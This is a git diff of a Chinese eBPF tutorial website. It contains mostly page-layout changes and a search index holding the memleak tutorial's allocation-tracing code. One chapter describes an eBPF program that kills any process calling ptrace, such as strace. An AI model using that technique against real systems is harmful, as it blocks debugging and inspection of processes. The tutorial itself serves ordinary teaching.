diff --git a/0-introduce/index.html b/0-introduce/index.html index ca1f462..efccd0b 100644 --- a/0-introduce/index.html +++ b/0-introduce/index.html @@ -83,7 +83,7 @@ diff --git a/1-helloworld/index.html b/1-helloworld/index.html index c1bc57f..07de2f5 100644 --- a/1-helloworld/index.html +++ b/1-helloworld/index.html @@ -83,7 +83,7 @@ diff --git a/10-hardirqs/index.html b/10-hardirqs/index.html index 0e3a1f5..c5964eb 100644 --- a/10-hardirqs/index.html +++ b/10-hardirqs/index.html @@ -83,7 +83,7 @@ diff --git a/11-bootstrap/index.html b/11-bootstrap/index.html index 2e9be41..03d66ad 100644 --- a/11-bootstrap/index.html +++ b/11-bootstrap/index.html @@ -83,7 +83,7 @@ diff --git a/13-tcpconnlat/index.html b/13-tcpconnlat/index.html index 2a0a774..4b07f81 100644 --- a/13-tcpconnlat/index.html +++ b/13-tcpconnlat/index.html @@ -83,7 +83,7 @@ diff --git a/14-tcpstates/index.html b/14-tcpstates/index.html index 562e979..5d2ee6e 100644 --- a/14-tcpstates/index.html +++ b/14-tcpstates/index.html @@ -83,7 +83,7 @@ diff --git a/15-javagc/index.html b/15-javagc/index.html index 6fd40b1..a4e39ac 100644 --- a/15-javagc/index.html +++ b/15-javagc/index.html @@ -83,7 +83,7 @@ diff --git a/16-memleak/index.html b/16-memleak/index.html index 97eeaef..79a49da 100644 --- a/16-memleak/index.html +++ b/16-memleak/index.html @@ -83,7 +83,7 @@ diff --git a/17-biopattern/index.html b/17-biopattern/index.html index b0d93cb..3e88b46 100644 --- a/17-biopattern/index.html +++ b/17-biopattern/index.html @@ -83,7 +83,7 @@ diff --git a/18-further-reading/index.html b/18-further-reading/index.html index 72de609..6c12d66 100644 --- a/18-further-reading/index.html +++ b/18-further-reading/index.html @@ -83,7 +83,7 @@ diff --git a/19-lsm-connect/index.html b/19-lsm-connect/index.html index 92ff4d3..cb14962 100644 --- a/19-lsm-connect/index.html +++ b/19-lsm-connect/index.html @@ -83,7 +83,7 @@ diff --git a/2-kprobe-unlink/index.html b/2-kprobe-unlink/index.html index 772c149..adaaa4f 100644 --- a/2-kprobe-unlink/index.html +++ b/2-kprobe-unlink/index.html @@ -83,7 +83,7 @@ diff --git a/20-tc/index.html b/20-tc/index.html index cf82084..4d9d889 100644 --- a/20-tc/index.html +++ b/20-tc/index.html @@ -83,7 +83,7 @@ diff --git a/22-android/index.html b/22-android/index.html index 97f73f9..e06c886 100644 --- a/22-android/index.html +++ b/22-android/index.html @@ -83,7 +83,7 @@ diff --git a/23-http/index.html b/23-http/index.html index edd6ec6..ad620e4 100644 --- a/23-http/index.html +++ b/23-http/index.html @@ -83,7 +83,7 @@ diff --git a/24-hide/index.html b/24-hide/index.html index 08ce921..3be0d1e 100644 --- a/24-hide/index.html +++ b/24-hide/index.html @@ -83,7 +83,7 @@ diff --git a/25-signal/index.html b/25-signal/index.html index 60feb76..3a2a263 100644 --- a/25-signal/index.html +++ b/25-signal/index.html @@ -83,7 +83,7 @@ @@ -299,7 +299,7 @@ int bpf_dos(struct trace_event_raw_sys_enter *ctx) 
./ecc signal.bpf.c signal.h

使用方式：

-
sudo ./ecli package.json
+
$ sudo ./ecli package.json
 

 
这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。
 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试：

diff --git a/26-sudo/index.html b/26-sudo/index.html
index e9b7ec3..dc61224 100644
--- a/26-sudo/index.html
+++ b/26-sudo/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/27-replace/index.html b/27-replace/index.html
index 130e4d0..fb73cfd 100644
--- a/27-replace/index.html
+++ b/27-replace/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/28-detach/index.html b/28-detach/index.html
index 7e74cc2..e393bc9 100644
--- a/28-detach/index.html
+++ b/28-detach/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/29-sockops/index.html b/29-sockops/index.html
index 3dd12ff..39acd97 100644
--- a/29-sockops/index.html
+++ b/29-sockops/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/3-fentry-unlink/index.html b/3-fentry-unlink/index.html
index 0c99000..2b539ca 100644
--- a/3-fentry-unlink/index.html
+++ b/3-fentry-unlink/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/30-sslsniff/index.html b/30-sslsniff/index.html
index c855166..09a4352 100644
--- a/30-sslsniff/index.html
+++ b/30-sslsniff/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/4-opensnoop/index.html b/4-opensnoop/index.html
index 2932e70..b9fc28f 100644
--- a/4-opensnoop/index.html
+++ b/4-opensnoop/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/404.html b/404.html
index 2686048..3aa8d3d 100644
--- a/404.html
+++ b/404.html
@@ -84,7 +84,7 @@
 
         
diff --git a/5-uprobe-bashreadline/index.html b/5-uprobe-bashreadline/index.html
index 317c511..94a66a2 100644
--- a/5-uprobe-bashreadline/index.html
+++ b/5-uprobe-bashreadline/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/6-sigsnoop/index.html b/6-sigsnoop/index.html
index 341b38c..d201b3b 100644
--- a/6-sigsnoop/index.html
+++ b/6-sigsnoop/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/7-execsnoop/index.html b/7-execsnoop/index.html
index 1c93e6f..effc917 100644
--- a/7-execsnoop/index.html
+++ b/7-execsnoop/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/8-exitsnoop/index.html b/8-exitsnoop/index.html
index 5bdf22e..b70e685 100644
--- a/8-exitsnoop/index.html
+++ b/8-exitsnoop/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/9-runqlat/index.html b/9-runqlat/index.html
index 8c544ec..62a85bf 100644
--- a/9-runqlat/index.html
+++ b/9-runqlat/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/kernel-versions.html b/bcc-documents/kernel-versions.html
index 57689ad..08181c5 100644
--- a/bcc-documents/kernel-versions.html
+++ b/bcc-documents/kernel-versions.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/kernel_config.html b/bcc-documents/kernel_config.html
index 66c33db..2bdce0a 100644
--- a/bcc-documents/kernel_config.html
+++ b/bcc-documents/kernel_config.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/reference_guide.html b/bcc-documents/reference_guide.html
index ce383fe..154500a 100644
--- a/bcc-documents/reference_guide.html
+++ b/bcc-documents/reference_guide.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/special_filtering.html b/bcc-documents/special_filtering.html
index 812fed3..d2aa2bf 100644
--- a/bcc-documents/special_filtering.html
+++ b/bcc-documents/special_filtering.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/tutorial.html b/bcc-documents/tutorial.html
index 2299b60..aad9bf6 100644
--- a/bcc-documents/tutorial.html
+++ b/bcc-documents/tutorial.html
@@ -83,7 +83,7 @@
 
         
diff --git a/bcc-documents/tutorial_bcc_python_developer.html b/bcc-documents/tutorial_bcc_python_developer.html
index 4162615..744ec06 100644
--- a/bcc-documents/tutorial_bcc_python_developer.html
+++ b/bcc-documents/tutorial_bcc_python_developer.html
@@ -83,7 +83,7 @@
 
         
diff --git a/index.html b/index.html
index 8225e89..656d390 100644
--- a/index.html
+++ b/index.html
@@ -83,7 +83,7 @@
 
         
diff --git a/print.html b/print.html
index dab17b6..afa5ed5 100644
--- a/print.html
+++ b/print.html
@@ -84,7 +84,7 @@
 
         
@@ -5418,7 +5418,7 @@ int bpf_dos(struct trace_event_raw_sys_enter *ctx)
 
./ecc signal.bpf.c signal.h
 

 
使用方式：

-
sudo ./ecli package.json
+
$ sudo ./ecli package.json
 

 
这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。
 一旦 eBPF 程序开始运行，你可以通过运行以下命令进行测试：

diff --git a/searchindex.js b/searchindex.js
index 590ce3a..514f27c 100644
--- a/searchindex.js
+++ b/searchindex.js
@@ -1 +1 @@
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eBPF 的基本概念、常见的开发工具 » eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具","id":"0","title":"eBPF 入门开发实践教程零：介绍 eBPF 的基本概念、常见的开发工具"},"1":{"body":"eBPF 是一项革命性的技术，起源于 Linux 内核，可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能，而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序，应用程序开发人员可以在运行时，可编程地向操作系统动态添加额外的功能。然后，操作系统保证安全和执行效率，就像在即时编译（JIT）编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的，并且可以自动更新，从而避免了工作负载中断和节点重启。 今天，eBPF被广泛用于各类场景：在现代数据中心和云原生环境中，可以提供高性能的网络包处理和负载均衡；以非常低的资源开销，做到对多种细粒度指标的可观测性，帮助应用程序开发人员跟踪应用程序，为性能故障排除提供洞察力；保障应用程序和容器运行时的安全执行，等等。可能性是无穷的，而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 1. eBPF简介：安全和有效地扩展内核","id":"1","title":"1. eBPF简介：安全和有效地扩展内核"},"10":{"body":"libbpf-bootstrap是一个基于libbpf库的BPF开发脚手架，从其 github 上可以得到其源码。 libbpf-bootstrap综合了BPF社区过去多年的实践，为开发者提了一个现代化的、便捷的工作流，实 现了一次编译，重复使用的目的。 基于libbpf-bootstrap的BPF程序对于源文件有一定的命名规则， 用于生成内核态字节码的bpf文件以.bpf.c结尾，用户态加载字节码的文件以.c结尾，且这两个文件的 前缀必须相同。 基于libbpf-bootstrap的BPF程序在编译时会先将*.bpf.c文件编译为 对应的.o文件，然后根据此文件生成skeleton文件，即*.skel.h，这个文件会包含内核态中定义的一些 数据结构，以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的，libbpf-bootstrap也有非常完备的入门教程，用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 